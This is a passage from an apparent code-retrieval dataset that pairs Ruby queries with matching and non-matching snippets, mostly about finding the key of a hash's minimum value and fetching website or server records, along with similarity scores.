"def key_for_min_value(name_hash)\n newArray = []\n if name_hash == {}\n return nil\n else\n name_hash.each {|key, value| newArray.push(value) }\n end\n \n newArray = newArray.sort\n min = newArray[0]\n \n \n name_hash.select{|key, hash| if hash == min\n return key\n end\n }\n\n \n \nend",
"def key_for_min_value(name_hash)\n# if name_hash.collect { |key,value| key[0] > key[1] && key[0] > key[1] } \n# end\n# elsif name_hash.collect { |key,value| key[1] > key[0] && key[1] > key[2] }\n# end\n# elsif name_hash.collect {|key, value| key[2] > key[0] && key[2] > key[1] }\n# end\n# smallest = name_hash.each {|key,value| key[0] > key[1] && key[0] > key[1] || key[1] > key[0] && key[1] > key[2] ||key[2] > key[0] && key[2] > key[1]}\n# return smallest\n\n# name_hash.sort{|a,b| a[1] <=> b[1]}.first[0]\n# name_hash.each { |k, v| puts k if v == hash.values.min }\n\n # name_hash.select { |k,v| v < k }\n\n # name_hash.map { |k,v| if :k[0] > :k[1] && :k[0] > :k[2]}\n \n # if min_value < v[1] && min_value < v[2]\n # return k[0]\n # elsif min_value > v[1] && v[1] >v[2]\n # return k[1]\n # else\n # return k[2]\n current_minimum = 10000000\n current_key = nil\n name_hash.each do |k,v|\n if v < current_minimum \n then current_minimum = v\n current_key = k\n end\n end\n return current_key\n end",
"def key_for_min_value(name_hash)\n\n if name_hash =={}\n nil\n else\n\n name_array = name_hash.to_a\n min_value= 1000\n min_key= 0\n\n name_array.each do |i|\n\n if i[1] < min_value\n min_value = i[1]\n min_key = i[0]\n end\n end\n\n return min_key\n end\nend",
"def key_for_min_value(hash)\n min_value = 0\n min_item = nil\n \n hash.each do |item, quantity|\n \n if min_value == 0 || quantity < min_value\n min_value = quantity \n min_item = item\n end\n end\n \n min_item\n\nend",
"def key_for_min_value(name_hash)\n low_key = nil\n low_value = nil\n name_hash.each do |key,value|\n\n if low_value == nil || value < low_value\n low_value = value\n low_key = key\n #binding.pry\n #if price < price && price\n #puts name_hash\"#{object}\"\n#else name_hash == {}\n #nil\nend\n end\n low_key\n end",
"def key_for_min_value(name_hash)\n placeholder = {}\n if name_hash == {}\n return nil\n else name_hash.each { |name|\n first_hash = name_hash.first\n if name[1] < first_hash[1]\n first_hash = name\n end\n placeholder = first_hash\n }\n end\n return placeholder[0]\nend",
"def key_for_min_value(name_hash)\n empty = nil\n min = 0\n index = 0\nname_hash.each do |name, value|\n\n if index == 0 || value < min\n min = value\n empty = name\n index +=1\nelsif name_hash.empty?\n return nil\n end\nend\nempty\nend",
"def key_for_min_value(name_hash)\n arrayValue = []\n name_hash.collect do |key, value|\n arrayValue << value\n end\n minValue = arrayValue.min\n name_hash.index(minValue)\nend",
"def key_for_min_value(name_hash)\n min_value = 0 \n min_key = nil\n name_hash.collect do |name , value|\n if min_value == 0 or min_value > value\n min_value = value\n min_key = name\n \n end\nend\nmin_key\nend",
"def min_value_quarter_sheet(value)\n only_values = self.class.only_values\n min = only_values.first\n only_values.each do |only_value|\n if only_value <= value\n min = only_value\n else\n break\n end\n end\n {:base_value => base_value,:value_quarter_sheet =>min ,:t => eval(\"v_#{min}_t\"),:tr => eval(\"v_#{min}_tr\")}\n end",
"def key_for_min_value(name_hash)\n # name_hash = {:blake => 500, :ashley => 2, :adam => 1})\n lowest_number = nil # baseline to compare numbers against\n lowest_name = nil # baseline to compare names against\n name_hash.collect do |name, number|\n if lowest_number == nil || number < lowest_number\n lowest_number = number\n lowest_name = name\n end\n end\n lowest_name\n end",
"def key_for_min_value(my_hash)\n lowest = []\n my_hash.each do |k, v|\n if lowest == [] || lowest[1] > v \n lowest = [k, v]\n end\n end\n lowest[0]\nend",
"def my_min_phase_2(list)\n min = list[0]\n (1...list.length).each do |i|\n min = list[i] if list[i] < min\n end\n min\nend",
"def key_for_min_value(name_hash)\n # Convert hash to nested array\n name_a = name_hash.to_a\n\n # Default key value\n d_value= 10000000000000000000\n d_key= nil\n\n # Iterate new array \n name_a.each do |i|\n # If current value is lower than default, change value/key pair \n if i[1] < d_value\n # binding.pry\n d_value = i[1]\n d_key = i[0]\n end\n\n end\n\n return d_key\n\nend",
"def key_for_min_value(name_hash)\n\n\nmin = 1000000\nmin_key = nil\nname_hash.each do |key, value|\n if value < min\n min = value\n min_key = key\n end\nend\nreturn min_key\nend",
"def key_for_min_value(name_hash)\n\n min = nil\n result = nil\n first = true \n \n name_hash.each do |key, value|\n if first || value < min\n first = false\n min = value\n result = key\n end\n end\n result\nend",
"def key_for_min_value(name_hash)\n lk = nil\n lv = nil\n name_hash.each do |k, v|\n if lv == nil || v < lv\n lv = v\n lk = k\n end\n\n end\n lk\nend",
"def key_for_min_value(hash)\n least_amount = nil\n least_name = nil\n\n hash.each do |name, amount|\n if least_amount == nil || amount < least_amount\n least_amount = amount\n least_name = name\n end\n \n end\n\n least_name\nend",
"def a_b_for_min_c\n a_val = a[min_c_cell.row]\n b_val = b[min_c_cell.column]\n [a_val, b_val]\n end",
"def key_for_min_value(name_hash)\n\nmin_num = 1000\nmin_key = nil\nname_hash.each do |a,cost|\n if cost < min_num\nmin_num = cost\nmin_key = a\n end\nend\nmin_key\nend",
"def key_for_min_value(name_hash)\n box = []\n name_hash.each do |key, val|\n box << val\n end\n min = box[0]\n\n#sort\n\n i=0\n while i < box.length\n if min > box[i]\n min=box[i]\n end\n i+=1\n end\n\n #match\n if name_hash.empty?\n nil\n else\n name_hash.each do |key, val|\n if name_hash[key] == min\n return key\n end\n end\n end\nend",
"def key_for_min_value(name_hash)\n def key_for_min_value(name_hash)\n smallest, key = 1000, nil\n name_hash.each do |k,v|\n if v < smallest\n smallest = v\n key = k\n end\n end\n key\nend\nend",
"def key_for_min_value(name_hash)\n winner = \"\"\n min = []\n\n if name_hash == {}\n nil\n else\n name_hash.each do |obj, start|\n min << start\n end\n new_min = min[0]\n name_hash.each do |obj, val|\n if val <= new_min\n val = new_min\n winner = obj\n end\n end\n winner\n end\nend",
"def key_for_min_value(name_hash)\n min=1000\n min_key=nil\n \n name_hash.each {|key,val|\n if val<min \n min=val \n min_key=key \n end \n }\n min_key\nend",
"def key_for_min_value(name_hash)\n valuemin = 1000\n keyofvalue = \"\"\n if name_hash == {}\n return nil\n else\n name_hash.each do |key, value|\n if value <= valuemin\n valuemin = value\n keyofvalue = key\n end\nend \nend\nkeyofvalue\nend",
"def key_for_min_value(name_hash)\n key_for_min = nil\n lowest_value = nil\n\nname_hash.each do |key, value| #going to return value\n \n if lowest_value == nil || value < lowest_value\n lowest_value = value\n key_for_min = key \nend\nend\nkey_for_min\nend",
"def key_for_min_value(name_hash)\n \n overall_lowest_price = 0\n overall_lowest_person = \"\"\n last_price = 0\n last_name = \"\"\n if name_hash != {}\n \n name_hash.each do |name, price|\n current_price = price\n current_name = name\n \n if current_price < last_price && last_price != 0\n overall_lowest_person = current_name\n overall_lowest_price = current_price\n \n elsif current_price > last_price && last_price != 0\n overall_lowest_person = last_name\n overall_lowest_price = last_price\n \n elsif last_price == 0\n last_price = current_price\n last_name = current_name\n overall_lowest_person = current_name\n overall_lowest_price = current_price\n else\n nil\n end\n end\n overall_lowest_person\n \n else\n nil\n end\nend",
"def key_for_min_value(name_hash)\n #if the method is called of an empty\n if name_hash.empty?\n nil\n else\n #the min_value is set to the first value\n min_value = name_hash.first[1]\n #the min_key is set to hash first index\n min_key = name_hash.first[0]\n #iterate over the hash and return key\n name_hash.each do |key, value|\n #when the value is less than the min_value\n if value < min_value\n #min value is now equal to the first value\n min_value = value\n #min key is now equal to the first key\n min_key = key\n end\n end\n #returns the key with the samllest value\n min_key\n end\nend",
"def key_for_min_value(name_hash)\n minimum_key = nil\n minimum_value = nil\n name_hash.each do |key_of_hash, value|\n if minimum_value == nil || value < minimum_value\n minimum_value = value\n minimum_key = key_of_hash\n end\n end\n minimum_key\nend",
"def key_for_min_value(name_hash)\n return nil if name_hash.empty?\n min = name_hash.first\n name_hash.each do |key, value|\n if value < min[1]\n min = [key, value]\n end\n end\n min[0] \nend",
"def key_for_min_value(name_hash)\n if name_hash.empty? == true\n nil\n else\n min_value_data = name_hash.first\n min_value = min_value_data[1]\n min_person = min_value_data[0]\n name_hash.each do |person,number|\n if number < min_value\n min_value = number\n min_person = person\n end\n end\n min_person.to_sym\nend\nend",
"def key_for_min_value(name_hash)\n answer = nil \n min_value = nil \nname_hash.each do |key, value|\n if min_value == nil\n answer = key\n min_value = value \n elsif min_value > value\n answer = key\n min_value = value\nend\nend\nanswer\nend",
"def key_for_min_value(name_hash)\n min_k = nil\n min_v = nil\n \n name_hash.each do |k, v| \n \n if min_v == nil || v < min_v\n min_v = v\n min_k = k\n end\n end\n min_k\nend",
"def key_for_min_value(name_hash)\nlowest_key = nil\nlowest_value = nil\nname_hash.each do |a, b|\nif lowest_value ==nil || b < lowest_value\nlowest_value = b\nlowest_key = a\nend\nend\nlowest_key\nend",
"def key_for_min_value(name_hash)\nmin_value = nil\nmin_key = nil\nname_hash.each do |key, value|\n if !min_value\n min_value = value\n min_key = key\n elsif value < min_value\n min_value = value\n min_key = key\n end\nend\nmin_key\nend",
"def key_for_min_value(name_hash)\n current_min_value = nil\n current_key = nil\n name_hash.each { |key, value|\n if current_min_value == nil\n current_min_value = value\n current_key = key\n else\n if value < current_min_value\n current_min_value = value\n current_key = key \n end\n end\n }\n current_key\nend",
"def key_for_min_value(name_hash)\n\n \n comp_value = [ ]\n \n # collect keys\n keys = name_hash.collect do |key, value|\n key\n end\n \n \n comp_value = name_hash[keys[0]]\n lowest_key = keys[0]\n name_hash.collect do |key, value|\n if value <= comp_value\n lowest_key = key\n end\n end \n\nlowest_key\n\nend",
"def key_for_min_value(name_hash)\n min_value = nil # or -Infinity if you have negative values\n key_for_min_value = nil\n\n name_hash.each do |key, value|\n if min_value == nil || min_value > value\n min_value = value\n key_for_min_value = key\n\nend\n\nend\nkey_for_min_value\nend",
"def key_for_min_value(name_hash)\n min_key = \"\"\n min_value = \"\"\n\n if name_hash == {}\n return nil\n else\n name_hash.each do |name, value|\n if min_value == \"\" || value < min_value\n min_value = value\n min_key = name\n\n\n end\n end\nmin_key\nend\nend",
"def key_for_min_value(name_hash)\n #name_hash.collect do|key, value|\n #name_hash.sort\n hash1={}\n hash1=Hash[name_hash.sort_by{|k,v| v}]\n hash1.keys[0]\nend",
"def key_for_min_value(name_hash)\n smallest = 0\n smallest = name_hash[:blake]\n key = :blake\n\nif name_hash.length > 0\n\n\n\n name_hash.collect do |name, value|\n if value < smallest\n smallest = value\n key = name\n\n\n end\n\n end\n return key\nend\n\n\nend",
"def key_for_min_value(name_hash)\nmin = name_hash.first\nname_hash.each do |key, value|\n min = [key, value] if value < min [1]\nend\nname_hash == {} ? nil : min[0]\nend",
"def key_for_min_value(name_hash)\n lowest_value = nil\n lowest_key = nil\nname_hash.each do |name, number|\n if !lowest_value|| number < lowest_value\n lowest_value = number\n lowest_key = name\nend\nend\nlowest_key\nend",
"def min; end",
"def min; end",
"def key_for_min_value(name_hash)\n key_for_min=nil\n lowest_value=nil\n name_hash.each do |key,value|\n if lowest_value==nil || value<lowest_value\n lowest_value=value\n key_for_min=key\n end\n end\n key_for_min\nend"
] |
[
"0.6052818",
"0.60511017",
"0.60249376",
"0.59781986",
"0.59098923",
"0.5891975",
"0.5880396",
"0.58195144",
"0.5782108",
"0.57514155",
"0.5725051",
"0.5711587",
"0.5710335",
"0.57090104",
"0.5703805",
"0.56968045",
"0.5686153",
"0.56567943",
"0.5651337",
"0.5651116",
"0.5649317",
"0.5615511",
"0.561392",
"0.56079173",
"0.5607392",
"0.56064445",
"0.56039923",
"0.5603051",
"0.5599091",
"0.55967915",
"0.558949",
"0.5582335",
"0.5581481",
"0.5580608",
"0.55802435",
"0.55796283",
"0.55789375",
"0.55756396",
"0.5571112",
"0.55645394",
"0.5562965",
"0.5558705",
"0.5558705",
"0.5555768",
"0.55539405",
"0.55529094",
"0.55438536",
"0.55359095",
"0.5531503",
"0.55304015",
"0.5529337",
"0.55228597",
"0.5520143",
"0.5518501",
"0.5514388",
"0.5511592",
"0.5511495",
"0.55025667",
"0.55008656",
"0.5497635",
"0.5486065",
"0.5485544",
"0.5485366",
"0.5482538",
"0.5482534",
"0.5478637",
"0.5477696",
"0.5473742",
"0.54709864",
"0.5469686",
"0.5469493",
"0.54670775",
"0.5464304",
"0.54629034",
"0.5459151",
"0.54574406",
"0.54564023",
"0.54558337",
"0.54544646",
"0.54513973",
"0.54501474",
"0.54480165",
"0.5447918",
"0.54464823",
"0.54409677",
"0.54392856",
"0.543709",
"0.5435332",
"0.5435142",
"0.5435118",
"0.5432601",
"0.5431817",
"0.54308826",
"0.5426158",
"0.54256433",
"0.5425527",
"0.54242206",
"0.5423946",
"0.5422249",
"0.5422249",
"0.5422077"
] |
0.0
|
-1
|
Returns an array of all Sites on this server.
|
def sites
request('/web_properties.json').map do |site_data|
Site.new self, site_data['uid'], site_data['name']
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sites\n @sites ||= []\n end",
"def list_sites\n r = execute(make_xml('SiteListingRequest'))\n arr = []\n if r.success\n r.res.elements.each('SiteListingResponse/SiteSummary') do |site|\n arr << SiteSummary.new(site.attributes['id'].to_i,\n site.attributes['name'],\n site.attributes['description'],\n site.attributes['riskfactor'].to_f,\n site.attributes['riskscore'].to_f)\n end\n end\n arr\n end",
"def index\n @servers = @site.servers\n end",
"def websites\n Array(@websites)\n end",
"def get_sites\n\t\ts = get_admin_section \"system.applicationHost/sites\"\n\t IisObjectCollection.new s.Collection, :site, Site, lambda { |site| site.id = s.Collection.Count + 1 }\n end",
"def site_list\n @sites = Haiwet::Site.list\n @sites.each.with_index(1) do |site, i|\n puts \"\\n #{i}- #{site.name}\"\n end\n end",
"def all_sites(&block)\n sites.list(&block)\n end",
"def sites\n if permission.value.positive?\n Site.all_cached\n else\n Rails.cache.fetch(\"user_#{id}_sites\", expires_in: 1.month, race_condition_ttl: 30.seconds) do\n puts 'user sites not cached'\n connections.map { |c| Site.find(c.site_id) }.sort_by(&:title)\n end\n end\n end",
"def all_server_hosts\n [server_host]\n end",
"def all_servers\n if @all_servers_cache.nil?\n @all_servers_cache=[]\n CLOUD_NAME.keys.each do |name|\n read(\"servers/#{name.to_s.upcase}\")[:data].each do |i|\n @all_servers_cache.push(i)\n end\n end\n end\n return @all_servers_cache\n end",
"def sites\n result = call(\"Webs\", \"get_web_collection\")\n result.xpath(\"//sp:Web\", NS).map { |web| Site.new(connection, web[\"Url\"].to_s, @depth + 1) }\n end",
"def index\n @sites = Cms::Site.all\n end",
"def index\n @mysites = Mysite.all\n end",
"def all_site_details\r\n @nsc.sites\r\n end",
"def servers\n servers_by_name.values\n end",
"def all_servers\n Infrataster::Server.defined_servers.map { |i| server(i.name) }\nend",
"def servers\r\n @servers.values\r\n end",
"def get_ext_sites\n\t\tputs \"getter to retrieve all the external hosted sites. \" if @verbose\n\t\tsites=Array.new\n\t\t@known_sites.keys.map do |key|\n\t\t\tif @known_sites[key]['status']==\"ext_hosted\"\n\t\t\t\tsites.push(key)\n\t\t\tend\n\t\tend\n\t\tsites.sort!\n\t\treturn sites\n\trescue Exception => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\treturn nil\n\tend",
"def get_int_sites\n\t\tputs \"getter to retrieve all the internal hosted sites.\" if @verbose\n\t\tsites=Array.new\n\t\t@known_sites.keys.map do |key|\n\t\t\tif @known_sites[key]['status']==\"int_hosted\"\n\t\t\t\tsites.push(key)\n\t\t\tend\n\t\tend\n\t\tsites.sort!\n\t\treturn sites\n\trescue Exception => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\treturn nil\n\tend",
"def get_compatible_sites\n ret = []\n @sites.each do |site|\n ret << site[:link]\n end\n ret\n end",
"def get_sites(opts = {})\n data, _status_code, _headers = get_sites_with_http_info(opts)\n return data\n end",
"def all_servers\n if is_zz?\n return app_config[:all_servers]\n end\n\n return @all_servers if @all_servers != nil\n\n instances = ey['environment']['instances']\n\n # collect all the app server hosts\n @all_servers = []\n instances.each do |instance|\n @all_servers << instance['private_hostname']\n end\n # add ourselves if we have no info, running on dev box\n @all_servers << this_host_name if @all_servers.empty?\n\n @all_servers\n end",
"def sites\n unless @sites\n @sites = {}\n (html / 'div#list > a').each do |el_a|\n site_name = he_decode strip_html(el_a.inner_html)\n @sites[site_name] = $1 if URL_HOST_PART.match el_a[:href]\n end\n end\n \n @sites\n end",
"def get_sites(opts = {})\n data, _status_code, _headers = get_sites_with_http_info(opts)\n data\n end",
"def get_ssl_sites\n\t\tputs \"getter to retrieve https sites from the site store.\" if @verbose\n\t\tsites=Array.new\n\t\t@known_sites.keys.map do |key|\n\t\t\tkey =~ /https/i\n\t\t\tsites.push(key)\n\t\tend\n\t\tsites.sort!\n\t\treturn sites\n\trescue Exception => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\treturn nil\n\tend",
"def servers\n @_servers ||= []\n end",
"def servers\n @_servers ||= []\n end",
"def index\n @sites = Site.all\n end",
"def index\n @sites = Site.all\n end",
"def index\n @sites = Site.all\n end",
"def index\n @sites = Site.all\n end",
"def index\n @sites = Site.all\n end",
"def index\n @sites = Site.all\n end",
"def servers\n @servers.keys\n end",
"def servers\n servers_for\n end",
"def call_sites\n @call_sites.values\n end",
"def hosts\n @hosts.values\n end",
"def sites\n @list.map {|partition_name, partition| partition.sites.map {|site| {site => partition_name} }}.flatten(1)\n end",
"def list_known_servers\n connect.servers.all\n end",
"def all_viewable_sites\n Site\n .current\n .with_project_or_as_site_user(all_viewable_projects.select(:id), id)\n end",
"def hosts\n\t\tHost.find(:all)\n\tend",
"def sites()\n return MicrosoftGraph::Sites::SitesRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def websites\n self.dig_for_array(\"webSites\")\n end",
"def hosts\n @hosts ||= []\n end",
"def servers\n response = self.class.get(\"/#{self.class.account}/clients.xml\")\n response['clients'].map { |client| ScoutScout::Server.new(client) }\n end",
"def getAllServers(targethost = Model::TARGETHOST)\n if @@serverList.nil?\n @@serverList = ZMProv.new('-l', 'gas', targethost).run[1].split(/\\n/)\n end\n \n @@serverList\n end",
"def index\n @parsed_sites = ParsedSite.all\n\n render json: @parsed_sites\n end",
"def get_servers\n\t\t\tbegin\n\t\t\t\tresp = @rs_conn.get('/servers')\n\n\t\t\t\t# 200 Success :: anything else is failure\n\t\t\t\tunless resp.code == \"200\"\n\t\t\t\t\traise \"Error requesting server list. Error code #{resp.code}\"\n\t\t\t\tend\n\t\t\t\t# Convert the output to json\n\t\t\t\tserver_list = JSON.parse(resp.body)\n\t\t\t\treturn server_list\n\t\t\trescue Exception => e\n\t\t\t\traise e\n\t\t\tend\n\t\tend",
"def hub_site_urls\n return @hub_site_urls\n end",
"def index\r\n @servers = Server.all\r\n end",
"def domains\n []\n end",
"def servers\n configuration.servers\n end",
"def regional_sitelist\n query('txt/wxfcs/regionalforecast/json/sitelist')\n end",
"def sites; end",
"def sites; end",
"def sites; end",
"def sites; end",
"def sites; end",
"def index\n @servers = Server.all\n end",
"def index\n @servers = Server.all\n end",
"def index\n @servers = Server.all\n end",
"def index\n @servers = Server.all\n end",
"def index\n @servers = Server.all\n end",
"def index\n\t\t@siteconfigs = Siteconfig.all\n\tend",
"def index\r\n @site_configs = SiteConfig.all\r\n end",
"def get_ip_sites\n\t\tputs \"Getter to retrieve sites contain an IP instead of a host-name .\" if @verbose\n\t\tsites=Array.new\n\t\t@known_sites.keys.map do |key|\n\t\t\thost=url_2_host(key)\n\t\t\tif is_ip?(host)\n\t\t\t\tsites.push(key)\n\t\t\tend\n\t\tend\n\t\tsites.sort!\n\t\treturn sites\n\trescue Exception => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\treturn nil\n\tend",
"def all_app_servers\n if is_zz?\n return app_config[:app_servers]\n end\n\n return @all_app_servers if @all_app_servers != nil\n @app_server_types ||= Set.new [ 'solo', 'app', 'app_master' ].freeze\n\n instances = ey['environment']['instances']\n\n # collect all the app server hosts\n @all_app_servers = []\n instances.each do |instance|\n if @app_server_types.include?(instance['role'])\n @all_app_servers << instance['private_hostname']\n end\n end\n # add ourselves if we have no info, running on dev box\n @all_app_servers << this_host_name if @all_app_servers.empty?\n\n @all_app_servers\n end",
"def servers\n response = get \"server\"\n data = JSON.parse response.body\n data[\"servers\"][\"server\"]\n end",
"def servers\n response = get \"server\"\n data = JSON.parse response.body\n data[\"servers\"][\"server\"]\n end",
"def yields_from_sites\n @sites = Yield.all.collect {|x| x.site}.compact.uniq\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def allSites \n \"allSites\" \n end",
"def available_servers\n authenticate_user!\n @rackspace_servers = Server.rackspace_servers\n end",
"def index\n @app_servers = AppServer.all\n end",
"def servers # Only in Ruby API (1.3 compatible)\n\t\t@settings.servers\n\tend",
"def hosts\n if @hosts\n @hosts\n elsif @host\n [@host]\n else\n self.class.hosts\n end\n end",
"def servers\n endpoint = 'https://pcs.baidu.com/rest/2.0/pcs/manage?method=listhost'\n @res = @api.request_json( endpoint )\n end",
"def servers\n result = Gorillib::ModelCollection.new(item_type: Ironfan::Dsl::Server, key_method: :full_name)\n facets.each{ |f| f.servers.each{ |s| result << s } }\n result\n end",
"def servers\n list = []\n Penctl.execute(@pen, \"servers\", 5).each do |l| \n server = Penctl.parse_server_line(l)\n list[server[:slot]] = server\n end\n list.compact\n end",
"def servers\n @servers ||= execute_remote!(command(:servers)).each_line.map { |line| JSON.parse line }\n end",
"def domains\n connection.list_domains[:domains]\n end",
"def servers\n @servers.select { |server| server.operable? }\n end",
"def domains\n get()[\"app\"][\"domains\"]\n end",
"def member_sites\n member_sites = Array.new\n self.sites.each do |i|\n member_sites.push(i.site_name)\n end\n member_sites.join(\"<br>\")\n end",
"def servers\n gateway_check\n @servers\n end",
"def index\n @sites = @organization.sites.order(id: :desc).all\n end",
"def servers\n sync{@servers.keys}\n end",
"def server_structs\n array = []\n if @struct.hosts\n @struct.hosts.count.times do |i|\n array << Lib.memcached_select_server_at(@struct, i)\n end\n end\n array\n end",
"def domains\n collect { |a| a.domain }\n end",
"def turbo_sites\n deep_values(\"turbo_sites\")\n end",
"def sitemap_urls\n each_sitemap_url.to_a\n end",
"def nationalparks_sitelist\n query('txt/wxfcs/nationalpark/json/sitelist')\n end",
"def hosts\n # prevent original array from being changed\n @hosts.dup\n end",
"def index\n @jobsites = Jobsite.all\n end",
"def index\n @jobsites = Jobsite.all\n end",
"def hosts\n @hosts ||= Array(Hansolo.target).map { |target| URI.parse(target) }\n end",
"def blogs\n get(get_all_sites_uri)\n end",
"def index\n @body_sites = BodySite.all\n end",
"def domains_list\n call('domains.list')[:domains]\n end",
"def iis_domains\n domains = []\n\n # Use the ADSI interface to get all configured domains inside IIS.\n service = WIN32OLE.connect(\"IIS://localhost/w3svc\")\n service.each do |server|\n next unless server.Class == \"IIsWebServer\"\n\n #domain = server.ServerComment\n ip, port, domain = server.ServerBindings.first.split(\":\", 3)\n\n # ignore servers without a \"host\" header (except for the default server).\n if domain.empty?\n next unless server.Name == \"1\"\n domain = \"localhost\"\n end\n\n path = server.GetObject(\"IIsWebVirtualDir\", \"root\").Path\n # NB: Since we don't have the WIN32 extension, I'll not expand the\n # directory, though, we could use the \"Scripting.Shell\" COM object...\n #log_path = Win32::Registry.expand_environ(server.LogFileDirectory) + \"\\\\W3SVC\" + server.Name\n log_path = server.LogFileDirectory + \"\\\\W3SVC\" + server.Name\n\n domains << [domain, path, log_path]\n end\n\n domains\nend",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end"
] |
[
"0.79550517",
"0.75706774",
"0.7404982",
"0.73523974",
"0.7344159",
"0.72628427",
"0.726271",
"0.72118706",
"0.715131",
"0.7027575",
"0.6935593",
"0.6933538",
"0.69090635",
"0.6908051",
"0.6905695",
"0.68975306",
"0.6896117",
"0.68200284",
"0.6817967",
"0.6814397",
"0.6782456",
"0.6767216",
"0.6743437",
"0.6704113",
"0.6689346",
"0.6625668",
"0.6625668",
"0.66094244",
"0.66094244",
"0.66094244",
"0.66094244",
"0.66094244",
"0.66094244",
"0.6594423",
"0.6580154",
"0.6576961",
"0.6548482",
"0.65084255",
"0.64568657",
"0.64397943",
"0.64192235",
"0.63973296",
"0.63945353",
"0.6369526",
"0.636563",
"0.63438624",
"0.6335193",
"0.6330852",
"0.6325989",
"0.6324327",
"0.63160557",
"0.63137376",
"0.6288691",
"0.6260253",
"0.6260253",
"0.6260253",
"0.6260253",
"0.6260253",
"0.6250309",
"0.6250309",
"0.6250309",
"0.6250309",
"0.6250309",
"0.6248199",
"0.6176785",
"0.61666447",
"0.6164684",
"0.6162813",
"0.6162813",
"0.6143575",
"0.6127191",
"0.6123981",
"0.6122576",
"0.6119088",
"0.61058784",
"0.60763127",
"0.60713863",
"0.6071297",
"0.606693",
"0.60603136",
"0.6048041",
"0.60472596",
"0.60466844",
"0.60347044",
"0.60264325",
"0.59850097",
"0.5978909",
"0.5973202",
"0.5968789",
"0.5958572",
"0.5957446",
"0.5948108",
"0.59460586",
"0.59460586",
"0.5933638",
"0.59281605",
"0.59145314",
"0.5913531",
"0.58982533",
"0.589679"
] |
0.6828741
|
17
|
Returns the Site with the given UID. This method does a server request, to get additional property data.
|
def site(uid)
site_data = request("/web_properties/#{uid}.json")
Site.new self, site_data['uid'], site_data['name']
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sites\n request('/web_properties.json').map do |site_data|\n Site.new self, site_data['uid'], site_data['name']\n end\n end",
"def get(uid)\n raise '`get` method by ID is not supported for this resource.'\n end",
"def collect_site_details\n site = fetch('site','1')\n @site_name = site['name']\n @time_zone = site['time_zone']\n @language_code = site['language_code']\n end",
"def get(uid)\n raise '`get` method by ID is not supported for this resource, use `get_by_phone`.'\n end",
"def load_site\n self.site\n end",
"def site\n self.__source.try(:site)\n end",
"def show\n @site_attribute = @site.site_attributes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site_attribute }\n end\n end",
"def get_current_site\n @current_site = Site.find_by_subdomain(site_subdomain, :include => { :variant => :template })\n logger.debug(\"*** Site Found: #{@current_site.inspect}\")\n end",
"def site\n @site ||= ::Shop.find_by_name(\"#{ request.env['HTTP_HOST'].split('.').first() }.myshopify.com\").api_url\n end",
"def find(uid)\n response = get({:uid => uid}, false)\n xml = Nokogiri::XML(response).css(\"#{defaults[:resource_name]}\")\n new(xml.first)\n end",
"def get_site(state_params)\n Site.find(state_params[\"site_id\"])\n end",
"def load_site\n @site = Site.first\n end",
"def site_id\n return @site_id\n end",
"def site_url\n SiteProcessor.new(self).site_url\n end",
"def site_user\n return @site_user\n end",
"def get_by_site(site)\n get_data(\"site/#{site}/new\")\n end",
"def fetch_user_extended_detail\n @user_extended_detail_obj = UserExtendedDetail.using_client_shard(client: @client).\n get_from_memcache(@user_kyc_detail.user_extended_detail_id)\n end",
"def get_site\n controller.send(:current_site)\n end",
"def show\n @site_setup = SiteSetup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_setup }\n end\n end",
"def source\n @source ||= begin\n source = ::Sources::Site.new(url)\n source.get\n\n source\n end\n end",
"def website\n @obj['website']\n end",
"def set_site\n @site = Xmt::Press::Site.find(params[:id])\n end",
"def id_site\n @id_site ||= (user_configuration_from_key('id_site') || 1)\n end",
"def show\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find_by slug: params[:slug]\n end",
"def load_resource\n current_site\n end",
"def show\n respond_with(@site = Site.find(params[:id]))\n end",
"def site_usage\n BrickFTP::API::SiteUsage.find\n end",
"def site_usage\n BrickFTP::API::SiteUsage.find\n end",
"def website\n @data['website']\n end",
"def get_property\n @xml = client.call(url).parsed_response.css('property').first\n @attributes.merge!(parse_xml_to_hash)\n end",
"def get_sites\n\t\ts = get_admin_section \"system.applicationHost/sites\"\n\t IisObjectCollection.new s.Collection, :site, Site, lambda { |site| site.id = s.Collection.Count + 1 }\n end",
"def site\n meta = ASF::Committee.metadata(name)\n meta[:site] if meta\n end",
"def show\n render json: @parsed_site\n end",
"def uid\n read_attribute :uid\n end",
"def set_site\n @site = Site.find_by(slug: params[:site_slug])\n end",
"def show\n @sites = current_user.sites\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n respond_to do |format|\n format.html do \n set_site\n @site\n end\n format.json do\n render json: @site\n end\n end\n end",
"def site_url\n get_url(:site)\n end",
"def slug\n @data['user']['slug']\n end",
"def read(uid)\n if instance = klass.where(id: uid).take\n [\n instance.payload,\n instance.meta\n ]\n else\n nil\n end\n end",
"def attributes_for_site(site)\n atts = site_specific_information || {}\n atts[site.id.to_s]\n end",
"def site_from_host\n Site.find_for_host(request.host)\n end",
"def site_data; end",
"def show\n @site = Site.find(params[:id], :conditions => ['user_id = ?', current_user.id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def set_site_page\n @site_page = Site::Page.unscoped.friendly.api(@api_keys_array).find(params[:id])\n end",
"def set_site\n @site = @customer.find(params[:id]).sites\n end",
"def set_site\n @site = Site.joins(:sizes).includes([:sizes, :reviews]).find(params[:id])\n end",
"def show\n @site_user_info = SiteUserInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site_user_info }\n end\n end",
"def site\n @site ||= Site.instance\nend",
